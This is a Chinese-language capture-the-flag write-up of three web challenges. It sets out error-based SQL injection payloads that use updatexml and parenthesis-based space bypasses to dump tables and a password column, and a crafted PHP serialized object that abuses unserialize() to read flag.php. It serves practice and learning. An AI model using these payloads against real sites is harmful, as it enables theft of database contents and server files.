报错注入
极客大挑战2019 HardSql
报错注入,payload:
?username=admin%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21
输入如下payload的时候,一直输出“被我逮到了……”说明可能存在过滤
?username=admin%27or(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))%23&password=21
发现是不能输入空格,用括号代替,构造payload如下:
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21
?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21
?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=21
flag{423101ef-cc3d-462f-ab
flag是在password中的,但是显示不全,可以用substr函数
看wp说用right()语句在查询后面部分 这样就可以了 又get到了新技能。。。。
(right(password,25))
flag{423101ef-cc3d-462f-ab92-f1035a96ce28}
用substr不行,大概是被过滤掉了
?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(substr(password,25,36))from(H4rDsq1)),0x7e),1))%23&password=21
弱比较绕过
[MRCTF2020]Ez_bypass
给出了源代码:
参考之前做过的MD5绕过[https://blog.csdn.net/Aemilia/article/details/121185014]
序列化字符串的使用
[网鼎杯 2020 青龙组]AreUSerialz
给出了源代码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
首先is_valid()
会检查输入是否合规
【PHP】
ord()
— 转换字符串第一个字节为0-255
之间的值
如果字符串是ASCII、 ISO-8859、Windows 1252
之类单字节编码,就等于返回该字符在字符集编码表中的位置。 但请注意,本函数不会去检测字符串的编码,尤其是不会识别类似UTF-8
或UTF-16
这种多字节字符的 Unicode 代码点(code point)。该函数是
chr()
的互补函数。
也就是说,输入的str的ASCII值必须在32~125之间
接着调用unserialize()
函数
unserialize()
对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
参考wp
参考了别人的wp后看到需要编写一个序列化字符串,并且绕过is_valid()函数的检测,去调用FileHandler类中的方法
可以看到FileHandler类中有读文件、回显内容、写文件的操作
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}
方法一:使用public关键字构造序列化字符串
原本的FileHandler中的变量都是private类型的,但是这样生成的序列化字符串中会出现不合规的字符
PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过